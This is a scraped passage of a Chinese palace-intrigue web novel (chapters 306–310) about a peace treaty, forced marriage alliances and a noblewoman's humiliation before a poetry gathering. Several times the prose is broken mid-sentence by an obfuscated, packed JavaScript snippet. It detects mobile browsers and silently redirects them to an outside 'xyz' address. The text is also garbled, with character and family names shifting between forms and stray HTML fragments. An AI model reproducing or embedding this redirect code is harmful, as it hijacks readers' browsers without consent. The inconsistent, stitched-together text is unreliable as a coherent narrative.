茅清兮摆了摆手,她现在可没心思打扮。 “对了,王爷呢?” “王爷在书房处理公务。” “哦。” 茅清兮应了一声,心中却有些疑惑。 冀容白平日里不是最喜欢缠着她的吗?今天怎么这么安静? 她起身,往书房走去。 刚走到门口,就听到里面传来冀容白的声音,似乎在跟人议事。 她犹豫了一下,没有进去,转身回了自己的院子。 桌上已经摆好了丰盛的早膳,还冒着热气。 茅清兮却没什么胃口,只随意吃了两口,便放下了筷子。和谈尘埃落定,大晋与西魏各取所需,明面上看,大家都有美好的未来。 大晋交还了两座城池,看似吃了哑巴亏,实则换来了西魏的两千匹精良战马、五百万两真金白银,还有两国二十年的和平文书。 消息一出,朝堂上下一片哗然。 有人拍手称快,有人扼腕叹息,当真是几家欢喜几家愁。 主战派气得牙痒痒,恨不得把那群主和派的文臣抓过来暴打一顿,煮熟的鸭子,就这么飞走了! 主和派却喜上眉梢,击掌相庆。 那两座城池,说是城,其实就是两块不毛之地,与其费心费力治理,还要时时提防西魏人偷袭,倒不如换点实在的好处。 大晋人一直羡慕西魏的养马技术,这下好了,直接换来两千匹,岂不美哉? 当然了,这些都是朝堂上的事,跟普通老百姓关系不大。 要说最近京城里最热闹的事,那还得数西魏两位和亲贵女的婚事。 那可真是比戏台上的戏文还精彩,比说书先生嘴里的故事还离奇! 一位是安宁公主,许给了太子做侧妃。 另一位马静郡主,就更让**跌眼镜了,竟然被指婚给了贤王冀远楼做正妃! 安宁公主给太子当侧妃,这事儿虽然出乎意料,但细想也在情理之中。 毕竟太子是未来的皇帝,他的皇后,怎么着也得是本国最尊贵的女子,一个外国公主,自然是不够格的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16538589|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >可马静郡主嫁给贤王,这就让人百思不得其解了。 谁不知道贤王和左相家的千金石芷凝,那可是天造地设的一对,就差临门一脚,拜堂成亲了。 这下可好,从天而降一位马静郡主。 石芷凝的处境,那叫一个尴尬。 难不成要让堂堂相府千金,去做一个低人一等的侧妃? 这圣旨一下,左相大人直接闭门谢客,把自己关在书房里,谁也不见。 平日里温婉贤淑的石夫人,也顾不得什么仪态了,气得脸色铁青。 “我女儿才貌双全,哪点配不上他贤王?凭什么……” “娘!您别说了,仔细隔墙有耳!”石芷凝急忙打断了母亲的话,声音里透着无奈,也透着一丝难以言说的酸楚。 这是皇上的旨意,金口玉言,谁敢违抗? 抗旨不遵,那可是灭九族的大罪!到时候,不仅是她,整个卓家都要跟着陪葬。 石夫人看着女儿这般懂事隐忍的模样,心如刀绞。 她视若珍宝的女儿,原本应该风光大嫁,成为人人羡慕的王妃,可现在…… “芷凝,娘知道你心里苦……” 石夫人眼眶湿润,声音哽咽。 她明白,这事儿已经没有转圜的余地了。马静郡主是西魏送来的,名义上是和亲,实际上就是质子,是筹码。 如果卓家悔婚,那两国刚签订的和平协议,瞬间就会变成一纸空文。 到时候,石芷凝就会成为众矢之的,被天下人唾骂。 “娘……” 石芷凝再也控制不住自己的情绪,泪水夺眶而出。 这道圣旨,像一把无形的利刃,将她多年来苦心经营的骄傲和尊严,无情地撕碎。 她一直以为,只要自己足够优秀,足够努力,就能掌控自己的人生。 可现实却狠狠地打了她一巴掌,让她明白,在这皇权至上的时代,她不过是一颗任人摆布的棋子。 石夫人心痛难忍,缓了好一会儿,她才勉强压下心头的怒火和悲伤。 “不行,这事儿绝对不能这么算了!咱们卓家也不是好欺负的!必须要贤王给个说法!” 石夫人咬牙切齿,眼中闪过一丝决绝。 “就算是为了两国邦交,可这京城里又不是只有贤王一个适龄的皇子,他凭什么……” 石夫人越想越气,总觉得这事儿透着蹊跷。 第三百零六章 和谈期间究竟发生了什么,他们这些局外人自然无从得知。 可贤王冀远楼作为当事人,不可能不知道其中的内情。 但他为什么不拒绝?为什么偏偏是他被选中? 难不成,尚了公主能让他在夺嫡之路上获得更多支持? 石夫人脑海中闪过无数个念头,每一个都让她心惊肉跳。 石芷凝心思细腻,自然也想到了这些。 她对贤王的了解,远比石夫人要深得多。 那个男人,绝不像表面上看起来那么简单。 他心思深沉,城府极深,绝不会做对自己不利的事。 可这一次,他为什么会让自己陷入如此被动的局面? 这其中,一定有什么不为人知的秘密。 石芷凝想不通,她真的想不通。 “夫人,小姐,王爷驾到。”就在这时,丫鬟急匆匆地进来禀报,打断了母女二人的思绪。 “贤王?”石夫人脸色一变,冷笑一声,“来得正好,我倒要看看,他有什么话说!” 石芷凝却拦住了她:“娘,您别冲动,我去见他。” “女儿,你……” “娘,您放心,女儿心里有数。”石芷凝眼神坚定,“他既然来了,就说明他心里还有我们卓家。否则,他大可不必在这个时候登门。” 石芷凝分析的没错。 若是贤王真的不顾一切,只为前程,大可以装聋作哑,等风头过了再说。 可他偏偏在这个节骨眼上来了,就说明他还在乎卓家的颜面,在乎他在世人眼中的形象。 又或者说,他需要卓家的支持。 宁府的花园里,凉亭内,气氛凝重。 贤王冀远楼坐在石凳上,看似气定神闲,实则内心忐忑。 他原本以为,石芷凝会哭闹,会质问,甚至会怨恨他。 可当石芷凝真的出现在他面前时,他却发现,自己错了。 石芷凝缓缓走来,步态轻盈,身姿优雅。 她没有浓妆艳抹,只是略施粉黛,却更显得清丽脱俗。 “左小姐。”贤王起身,微微一笑,打破了沉默。 “贤王殿下。”石芷凝屈膝行礼,声音平静,听不出任何情绪。 两人落座,石芷凝没有像往常一样,亲手为贤王煮茶。 她只是静静地坐在那里,等着贤王开口。 贤王看着她,心中五味杂陈。 他原本准备了一箩筐的话,想要解释,想要道歉,想要安抚。 可现在,面对石芷凝这般平静如水的模样,他却一个字也说不出口。 良久,贤王才轻叹一声,打破了沉默:“芷凝,我知道你心里一定有很多疑问,有很多委屈。” “殿下言重了。”石芷凝淡淡地说道,“圣意难测,臣女不敢妄加揣测。” 贤王一愣,他没想到石芷凝会这么说。 这语气,这态度,分明是把自己当成了外人。 “芷凝,你听我说,事情不是你想的那样。”贤王有些急了,“我承认,这件事是我处理不当,让你受委屈了。但是,我真的没有办法,我也是被逼无奈啊!” “哦?殿下何出此言?”石芷凝终于抬起头,看向贤王,眼神中带着一丝探究。 “是马静郡主,她……她对本王一见倾心,非我不嫁。她甚至不惜以死相逼,亲自向圣上请旨,要求嫁给本王!”贤王一脸无奈,语气中带着一丝懊恼。 “这……”石芷凝故作惊讶,心中却冷笑不已。 一见倾心?以死相逼? 这话说出来,谁信? “芷凝,你要相信我,我对你的心意,从未改变过。”贤王深情款款地说道,“可如今,圣旨已下,木已成舟,我又能怎么办呢?” “殿下是天潢贵胄,自然有您的难处。”石芷凝垂下眼眸,轻声说道,“臣女不敢奢求什么,只求殿下能给卓家一个交代。” “交代?你放心,我一定会给你一个交代的!”贤王信誓旦旦地说道,“等过些时日,风头过去了,我一定……” “殿下误会了。”石芷凝打断了贤王的话,“臣女说的交代,不是指臣女个人,而是指整个卓家。” “这……”贤王一愣,一时间竟不知该如何接话。 石芷凝抬起头,直视着贤王的眼睛,一字一句地说道:“殿下,您是聪明人,应该明白,这桩婚事,不仅仅是您和臣女两个人的事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16538590|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更是关系到大晋和西魏的邦交,关系到卓家的声誉和前程。” “我……”贤王张了张嘴,却什么也说不出来。 他原本以为,只要哄好了石芷凝,一切就都好办了。 可现在看来,他还是低估了石芷凝的聪慧和决绝。茶香袅袅,石芷凝的目光落在茶盏中那一汪浅褐色的茶水上。水面倒映着贤王那张带着得意的脸,她忽然觉得心头一片冰凉,原本期待的婚事,不知何时已经变了味道。 贤王端起茶杯,轻轻吹散漂浮的茶叶,动作优雅从容。阳光透过窗棂洒在他的侧脸上,镀上一层温和的光晕。这本该是令人心动的一幕,此刻却让石芷凝感到一丝不真实。 “左小姐不必忧心。”贤王放下茶盏,目光温柔地看向她,“父皇的旨意虽说是让马静郡主为正妃,可我早已向圣上禀明,你也将是我的正妃。” 石芷凝猛地抬头,眼中闪过一丝不可置信。她的手指无意识地绞着衣角,指节泛白。这个消息来得太过突然,让她一时难以消化。 “在本王心中,你才是最适合的正妃人选。”贤王的语气越发温柔,他起身走到石芷凝身边,“我知道这个决定有些仓促,但请相信我的诚意。” 左芳荣眼眶微红,心中五味杂陈。她低垂着头,试图掩饰自己的情绪波动。贤王的话语本该让她欣喜,此刻却像一把利刃,划破了她对这段感情的所有幻想。 “下月初八,本王会八抬大轿迎你进门,定要护你周全。”贤王的声音依旧温和,却带着不容置疑的坚定。 石芷凝强压下心中的苦涩,起身行礼:“臣女谢过殿下。”她的声音有些发涩,像是被什么哽住了喉咙。 待贤王离开后,她端起已经凉透的茶水抿了一口。苦涩的滋味在舌尖蔓延,就像此刻她的心情。窗外的风吹动着庭院里的花枝,花瓣纷纷扬扬地落下,像是在为这场荒唐的婚事落泪。 “两个正妃?这在皇家何曾有过!”石夫人听闻此事后勃然大怒,她的声音在宁府的大厅里回荡,“这简直是对我们卓家的羞辱!” 石夫人来回踱步,脸上的怒气几乎要化作实质。“芷凝,你可知道这意味着什么?这不仅仅是你一个人的事,这关系到整个卓家的颜面! 第三百零七章 ” 消息很快传遍了整个京城,在各个茶楼酒肆中引发热议。贤王要娶两位正妃的事情,引起了轩然大波。街头巷尾都在议论这前所未有的安排,有人惊叹,有人质疑,更多的是对这场婚事背后隐情的猜测。 民间虽有平妻之说,但在皇家,这却是闻所未闻。毕竟嫡庶之分,关系着日后的继承权。这样的先例一开,势必会在皇室掀起波澜。 茅清兮听到这个消息时,眉头紧皱。她站在自己的院子里,看着池塘里游动的锦鲤,思绪万千。她不仅为石芷凝感到不平,更对贤王的用意产生了怀疑。 “之前贤王对安宁公主明明是那般态度,怎么突然就......”茅清兮喃喃自语,回想起贤王曾经对安宁公主的种种表现。那时的贤王,眼中的温柔可不似作假。 特别是那支血玉手镯,那可是贤王府的传家之物。这样的信物,怎会轻易赠予他人?可现在,贤王却要迎娶马静郡主为正妃,这其中必有蹊跷。 马静郡主给人的印象平平无奇,一位在西魏无人问津的郡主,父亲还是个被排挤的病秧子。但这样一个人,却能在和谈中把婚事作为条件,这本身就很不寻常。 富辰的调查结果更是令人生疑。他派人暗中打探,发现安宁公主的身份存疑,那个所谓的山中居所,痕迹都是近期伪造。而马静郡主更是可疑,明明是个药罐子,却闻不到半点药味。 这两个西魏来的女子,身份成谜。她们的出现,就像是一团迷雾,笼罩在京城上空。 冀容白一直对西魏心存戒备。他在军中多年,深知西魏的狡诈。西魏突然求和,本就不符常理。二十年的停战协议,更像是一个精心设计的陷阱。 茅清兮正想去看望石芷凝,却收到了对方的请帖。信笺上的字迹依旧工整优美,却透着一丝疲惫。 抵达宁府后,发现只有她和清韵两人被邀请。石芷凝坐在院子里的石凳上,望着池中的莲花,神色恍惚。 “其他人来了,也只是看我笑话罢了。”石芷凝淡淡一笑,眼角却有些发红。她的手指轻轻拨弄着池水,激起一圈圈涟漪。 清韵张了张嘴,本想说些什么,却又不知从何说起。这样的场面,任何安慰的话语都显得苍白无力。 “其实我已经想开了。”石芷凝的语气出奇的平静,她抬起头,目光清明,“即便我贵为皇后,贤王府迟早也会有其他人进门。” “只是提前了而已。”她的声音很轻,像是在说服自己。 “反而是马静郡主这样的外国人,在这里举目无亲,我倒不必太过担心。”石芷凝的唇角勾起一抹若有若无的笑意。 茅清兮听出了石芷凝话中的深意。世家女的手段,岂是一个外来人能比的。石芷凝虽然表面平静,但内心早已开始盘算。 “马静郡主的来历存疑,你要多加小心。”茅清兮提醒道。她不愿看到好友陷入危险,但又不能说得太明白。 石芷凝神色一凛:“多谢提醒。”她的眼中闪过一丝锐利,随即又恢复了平静。 院子里的风轻轻吹过,带来远处的花香。三个女子相对无言,各怀心事。这场突如其来的变故,像是一块石头投入平静的湖面,激起层层涟漪,不知会掀起怎样的波澜。 “章节字数”:4213清韵走出宁府大门,春日的暖阳洒在她身上,却驱散不了心头的阴霾。她停下脚步,望着远处飞过的鸟儿,眉头微蹙。 “直男有啥好,这还没成亲就多出个郡主,以后还不知道要闹成什么样子。”她的声音里带着一丝不易察觉的酸涩。 茅清兮看着她气鼓鼓的模样,眼中闪过一丝笑意:“你可是公主,未经你同意,驸马连正眼都不敢看别的女子。” “我知道。”清韵撇了撇嘴,手指无意识地绞着衣角,“可我就是不喜欢被这些事情困扰。你说,为什么非要把婚姻弄得这么复杂?” 春风拂过,带来远处茶肆的香气。清韵望着街边来往的行人,眼神有些恍惚。她想起自己的父亲,虽然一直洁身自好,但其他驸马府里那些见不得光的事情,她可是听说过不少。那些原本恩爱的夫妻,最后却因为各种各样的原因渐行渐远。 “就算是贤王这样的人物,不也一样要纳妾吗?”清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16545023|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韵叹了口气,声音里带着几分失望,“以前我还觉得他在皇子中算是不错的,现在看来也不过如此。” 茅清兮看着她低落的样子,轻轻拍了拍她的肩膀:“别想那么多了,今天我陪你去吃饭。” “这可是你说的,上次可是放了我鸽子。”清韵的眼睛亮了起来,但很快又暗淡下去,“你最近是不是很忙?我听说钱云霄又在找你麻烦。” 茅清兮的眼神闪烁了一下,随即露出一个淡淡的笑容:“没什么大事,都是些生意上的琐事。” 两人说着话,不知不觉就来到了听雨阁。这座曾经属于茅清兮的酒楼,如今已经落入钱云霄之手。檐角的金铃在风中轻轻摇晃,发出清脆的声响。 茅清兮抬头看着眼前富丽堂皇的酒楼,心中并无太多遗憾。与其等着被钱云霄强取豪夺,不如主动脱手。只是看着那块崭新的匾额,她的指尖还是不自觉地微微颤抖。 刚进酒楼,浓郁的酒香扑面而来。在靠窗的位置,一个醉醺醺的身影歪在桌边,面前摆满了酒壶。 “七皇子?”清韵惊讶出声。 那人缓缓抬起头,眼神迷离地望着她们。他的衣衫有些凌乱,手中还死死攥着一个酒壶,整个人散发着浓重的酒气。 “表姐......”七皇子含糊不清地开口,声音里带着几分哽咽。 清韵皱眉:“大白天的喝这么多做什么?你看看你现在的样子,要是被太后知道了......” 七皇子没有回答,目光却突然定在了茅清兮身上。他一个箭步蹿起,脚步踉跄地走到茅清兮面前,差点摔倒。 “臧夫人......”他的眼泪突然落了下来,声音颤抖,“你说,为什么雪苏一次都不来我梦里......我找了她那么久,可是连梦里都见不到她......” 茅清兮心中一惊,连忙后退一步行礼:“七皇子言重了。”她的声音很轻,却掩饰不住内心的波动。 “雪苏是谁?”清韵好奇地问。 当听说是个已故的青楼女子后,清韵顿时变了脸色:“你疯了吗?为了这种事情. 第三百零八章 .....” “雪苏不一样!”七皇子激动地打断她的话,酒壶“啪”的一声摔在地上,“这世上再没有比她更好的女子了......你们谁都不懂......” 看着七皇子失魂落魄的样子,茅清兮心中五味杂陈。她想起那个雨夜,想起那些不得不做的选择,想起司玄苏眼中的决绝。 等送走了清韵,她立刻让人去请司玄苏。春日的阳光透过窗棂洒在地上,在地面上投下斑驳的影子。 不一会儿,一个风度翩翩的男子走了进来,手中把玩着一把折扇。若不是那张过分精致的面容,谁能将他与曾经的雪苏联系在一起。他的每一个动作都恰到好处,仿佛经过千百次练习。 “主子。”司玄苏微微躬身,声音清冷。 “七皇子还在想着雪苏。”茅清兮直接开门见山,手指无意识地敲击着桌面,“你最近还是少出门为好。” 司玄苏沉默片刻,轻轻点头:“属下明白。”他的表情没有丝毫波动,仿佛在说一件与己无关的事。 茅清兮看着他平静的表情,不知为何有些烦躁。这件事说到底,他们都有责任。那个雨夜的选择,改变了太多人的命运。 “你就没有什么想说的吗?”茅清兮突然问道。 司玄苏抬起头,目光如水般平静:“属下只是按照主子的吩咐行事。” “那雪苏呢?”茅清兮盯着他的眼睛,“你有没有想过,如果当初......” “主子。”司玄苏打断了她的话,声音依旧平静,“过去的事情已经无法改变。现在的我,只是您的一把刀。” 茅清兮看着他,突然感到一阵疲惫。窗外的阳光依旧明媚,街上传来小贩的吆喝声,一切都那么平常。但是在这平常之下,却隐藏着太多不为人知的秘密。 她挥了挥手:“你先下去吧。” 司玄苏躬身退出房间,脚步声渐渐远去。茅清兮坐在那里,望着窗外发呆。她知道,这只是开始。随着钱云霄的步步紧逼,还会有更多的选择等着她。 而此时的七皇子,还在酒楼的角落里独自痛饮。阳光透过窗户照在他的脸上,映出一道泪痕。 “章节字数”:4213“知道了,这事儿交给我。”司玄苏收起平日里的嬉笑,正色道。指尖不自觉地摩挲着腰间悬挂的玉佩,那是他身份的象征,也是他心中一份隐秘的寄托。 七皇子还惦记着“雪苏”? 司玄苏心中嗤笑,面上却不动声色。当初在碧云楼,为了生存,他不得不周旋于各色男人之间。七皇子那点心思,在他眼里,不过是小孩子的把戏。若非他身份特殊,茅清兮也不会特意叮嘱。 如今,他只想安安稳稳地过日子,为主子效力。 思及此,司玄苏眼中闪过一抹坚定,他必须尽快解决这件事,以绝后患。 他绝不能让任何人破坏现在的生活。 他要守护主子的幸福。 司玄苏的视线落在窗外,阳光正好。 他已经有了主意。 他起身在房间里踱步,脑海中飞快地闪过一个又一个念头。片刻后,他唤来心腹,低声吩咐了几句。 “记住,找个身家清白,性格温顺的。模样嘛,有那么三四分相似就行。”司玄苏特意强调。 “是,属下明白。”心腹领命而去。 司玄苏要寻的不是“雪苏”的替身,而是一个能让七皇子移情别恋的女子。这女子不能威胁到他,同时又能让七皇子忘掉过去。 几日后,五皇子府中多了一位新宠,名唤似月。 据说是七皇子在街上偶然遇见,惊为天人,便带回了府中。 似月姑娘温柔小意,又与当年的“雪苏”有几分神似,很快便俘获了七皇子的心。 司玄苏听到消息,唇角微微勾起。 他知道,自己的计划成功了。 至此,他也可以彻底放下心来。 他转身离开,将关于“雪苏”的一切,都抛在了身后。 南方的生意,还等着他去拓展。 属于他的新生活,才刚刚开始。 另一边,安宁公主的寝殿内,珠光宝气,一片奢华。 “公主,您今日想梳个什么发髻?”大丫鬟仲晚捧着各色首饰,轻声问道。 安宁公主懒洋洋地靠在软榻上,手里把玩着一支赤金镶红宝的步摇。 “就梳个飞仙髻吧,再把那支金镶玉的蝴蝶钗戴上。” “哎,奴婢这就去。” 几个丫鬟忙碌起来,为孝宁梳妆打扮。 “公主,礼部那边来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16545024|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人了。”一个小丫鬟匆匆跑进来禀报。 “哦?快请进来。”安宁公主坐直了身子,眼中闪过一丝兴奋。 来传话的是礼部的一个小官,见了安宁公主,忙不迭地跪下行礼: “奴才给公主请安。” “起来吧,”安宁公主抬了抬手,“可是为了本宫和太子的婚事?” “回公主,正是。”小官恭敬地回答,“礼部已经选定了吉日,就在五月十八。” 安宁公主闻言,心中大喜。 “甚好,甚好!”她连说了两个“好”字,脸上的笑容再也掩饰不住。 “对了,”她像是突然想起了什么,“马静郡主呢?怎么没见她过来?” “回公主,马静郡主身子不适,今日怕是不能陪您出门了。” 安宁公主不屑地哼了一声, “身子不适?我看她是心里不痛快吧!” “罢了,不管她。我们走。” 安宁公主带着一群丫鬟婆子,浩浩荡荡地出了门。 她今日要去参加京城贵女们举办的踏春会。 当她和太子的终身大事敲定以后,那些贵女们便像换了一副面孔似的,个个都对她热情无比。 安宁公主自然也乐得与她们交好,毕竟,她将来可是要做太子侧妃的人,这些人脉,都是她日后的助力。 另一边,茅清兮也得知了安宁公主的动向。 她坐在窗前,手中翻阅着一本古籍,神情淡然。 “这个安宁公主,还真是沉不住气。”茅清兮身边的丫鬟青潘愤愤不平地说道。 “随她去吧。”茅清兮淡淡地说道,“跳梁小丑,不足为惧。” 她更关心的,是马静郡主的反应。 “马静郡主称病不出?”茅清兮微微蹙眉,“看来,这位郡主,倒是个聪明人。” 在这个节骨眼上,低调才是最好的选择。 安宁公主的张扬,只会让她成为众矢之的。 太子府内,钱云霄听着手下的禀报,脸色阴沉得能滴出水来。 “这个蠢货!”他狠狠地一拍桌子,“还没进门呢,就敢打着我的旗号在外面招摇!” 钱云霄气得胸口剧烈起伏。 他原本以为,这次和谈与他无关。 第三百零九章 谁知,最后竟让他娶了安宁公主这么个祸害回来。 更可气的是,这女人还没进门,就在外面败坏他的名声。 这让他如何能忍? “殿下息怒,”孔谋在一旁劝解,“不过是个女人罢了,何必动怒?” 钱云霄强压下心头的怒火,冷冷地说道: “等她进了门,本宫自有办法收拾她!” “殿下,”孔谋话锋一转,“臣听闻,荆南王的女儿,今年已然及笄……” 钱云霄的眼睛顿时亮了起来。 荆南王的势力,是他一直梦寐以求的。 若是能娶到荆南王的女儿,那他的胜算,将会大大增加。 但他很快又冷静了下来,摇了摇头: “陛下绝不可能应允。” 孔谋却神秘一笑,压低声音说道: “殿下,只要生米煮成熟饭,陛下同不同意,又有什么关系呢?”“想去看看?” 冀容白将一张请帖递给茅清兮。那请帖不知是用什么金粉描绘的边纹,在阳光下熠熠生辉。 “那是自然。” 茅清兮接过,展开扫了一眼,那双明亮的眸子里,玩味的笑意更浓了。 这位安宁公主,还真是心急。 踏春会上的风头还没出够,又来一场诗会。 不仅请了京中的贵女,还把满城的青年才俊都请了来。 茅清兮把请帖往桌上一拍, “我倒要看看,她究竟想做什么。” “大晋的才子又不是纸糊的,还能怕了她一个和亲公主?” 茅清兮撇了撇嘴, “真要输了,大晋才子的脸面可就丢尽了。” 她甚至开始怀疑,这诗会是太子在背后推波助澜。 否则,安宁公主何必装这么高冷? 总不能指望靠她来笼络学子吧? 而另一边,太子钱云霄也盯着手中的请帖,一脸阴沉。 “这个蠢女人!” 他低声咒骂, “她到底想干什么?” 广邀学子,难不成她还真以为,自己能胜过书院里那些人? 钱云霄越想越烦躁。 孔谋在一旁,也是眉头紧锁。 安宁公主如此大张旗鼓,难道是西魏授意? 若真是如此,那太子娶了她,非但得不到助力,反而会惹来圣上和朝堂的猜忌。 一个不小心,说她是西魏派来的奸细都有可能。 孔谋心中暗自盘算, 他倒要看看,这位公主葫芦里究竟卖的什么药。 这场诗会,设在京郊的一处别庄。 平日里,这处别院是贤王的私人园林, 里面的景致,自然是不用说的。 庄子依山傍水,极尽巧思, 有人说,这里几乎把整个江南都搬了过来。 眼下正是春日,百花盛开。 一进别庄,满眼的春色,让人心情都好了几分。 赴宴的宾客们,都对这别庄的景色赞不绝口。 而且,一进门,就有穿着漂亮的侍女上前引路, 处处都透着风雅,在这里办诗会,再合适不过了。 茅清兮与冀容白到了别庄后,便被分开引路。 侍女领着茅清兮往女眷那边走,冀容白则被引到男宾那边。 男女之间,隔着一道溪流。 溪水是从假山上引下来的,清澈得很,最宽的地方也不过五尺。 安宁公主听着周围的赞美声,心里得意极了。 她就知道,过了今日,她的美名定会传遍大晋。 “茅清兮来了吗?” 安宁公主问身边的丫鬟。 “回公主,人已经到了。” 丫鬟恭敬地回答。 安宁公主点了点头,眼底闪过一丝精光,嘴角微微上扬。 今日,她不仅要让自己名扬天下,还要让茅清兮名声扫地。 来了就别想跑。 茅清兮刚坐下,周围的千金小姐们纷纷侧目,然后又飞快地移开了视线。 虽然她们跟茅清兮不是一个圈子的,但茅清兮的名声,她们多多少少也听过一些。 被家族除名,还不知廉耻地在宫宴上说自己粗鄙。 这样的女人,也配来参加诗会?简直可笑。 康雨芸看到茅清兮,和韩柔对视一眼,又悄悄地撇了撇嘴。 以前她们跟茅暮暮一起的时候,没少找茅清兮的麻烦。 自从宋九 兮嫁给冀容白后,她们反倒不敢惹了。 更何况,她们跟茅清兮也不是一路人,只要她们不主动招惹,平日里也见不到几次。 像这种诗会,茅清兮来了也是丢人现眼。 康雨芸往对面看了一眼,男宾那边的冀容白,实在太显眼了。 满园的景色都比不上他,更别说他那张神仙颜值,满京城的男子都找不出第二个。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16551086|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>康雨芸心里嫉妒得发慌。 年少时,谁没喜欢过那个戴着银色面具,白衣胜雪的少年将军? 冀容白骑马穿行京城街道,多少人偷偷看他。 就连石芷凝那样骄傲的人,不也一样。 可后来,冀容白**,快要**。 她们都知道,自己和冀容白注定无缘。 冀容白快**,她们反倒放下了,横竖都是空欢喜。 可现在,偏偏是茅清兮这个样样不如她们的女人,成了冀容白的妻子。 宫宴上冀容白维护茅清兮的事,她们都有耳闻。 凭什么? 哪怕是石芷凝,她们也不至于嫉妒成这样。 可为什么偏偏是茅清兮呢? 她除了那张脸好看点,哪还有什么能跟她们比? 康雨芸和韩柔对视一眼,都看到了彼此眼中的不甘。 “不知左姐姐今天会不会现身。” 韩柔喝了口水,放下杯子, “她要是来了,这第一才女是谁,还真不一定呢。” 康雨芸笑了笑: “她估计是鸽了,毕竟快要出嫁了……” 还不是因为贤王、石芷凝和马静郡主那点事。 她们刚刚还在八卦,都觉得石芷凝没脸来了。 这话一说,她的心思路人皆知,大家都笑了笑。 但这时,石芷凝却走了过来。 康雨芸她们愣了一下,好一会儿才尴尬地笑着跟石芷凝打招呼。 石芷凝朝她们点了点头,然后在茅清兮旁边坐下。 康雨芸看看她,又看看茅清兮,京城的传言果然没错,石芷凝竟然跟茅清兮走得这么近。 “左姐姐,你怎么坐到这儿来了?我们那边还给你留着位置呢。” 韩柔笑着说。 她们这群人里,石芷凝一直是大家学习的榜样。 哪家的父母没拿石芷凝来教训过她们? 她们虽然很酸,但实在没什么能比得过石芷凝的。 如今也只有石芷凝的婚事,能让她们笑一笑。 她们实在想不通,在父母眼里知书达理的石芷凝,居然还想跟别人抢正妃之位。 多可笑啊。 “不用了,我就坐这儿。” 石芷凝淡淡地说。 她这样说,大家也不好再劝。 这时,安宁公主和马静郡主走了出来,她们的脸还是被白纱遮住,只见一双美目。 第三百一十章 “感谢诸位大佬捧场,本宫听闻大晋卧虎藏龙,因此今天举办这场诗会,想借诗词交朋友,以才交友。” 安宁公主行了一礼, “在座的都是人才,本公主比不过。本宫乃是女儿身,自然要和大晋的才女们一较高下,请诸位见证一下。今日在这里,没有身份差别,只看实力说话。” “本公主不才,想知道谁是大晋第一才女?”“西魏的公主驾到,想必各位已经听说了。” 韩柔缓缓开口,声音清亮,如珠落玉盘,确保在场的每一个人都能听得清清楚楚。 她故意顿了顿,目光似不经意地扫过众人,特别是在那些平日里自诩才华横溢的贵女们身上稍作停留。 “今日借着这大好春光,咱们大晋的才女们,也该好好跟公主殿下切磋切磋。” 她微微一笑,眼波流转,带着几分挑衅的意味。 “毕竟,人家大老远跑来,总不能让人家觉得,咱们大晋无人吧?” 韩柔这话说得巧妙。 原本还算轻松的氛围,被她这么一挑,顿时紧绷起来,像一根拉满的弓弦。 康雨芸暗自得意。 韩柔这招,可比安宁公主直白的挑衅要高明得多。 既点明了对方的来意,又激起了大晋贵女们的斗志,还把她们架到了一个不得不应战的高度。 康雨芸顺势看向石芷凝,脸上带着恰到好处的惊讶,声音也提高了八度: “哎呀!说到才女,咱们这儿可不就有一位现成的?左姐姐,您说是不是?” 石芷凝被这一声“左姐姐”叫得浑身一僵。 她本不想争这些虚名,但此刻,众目睽睽之下,却也无法退缩。 她轻轻咬了咬下唇,眉头微蹙。 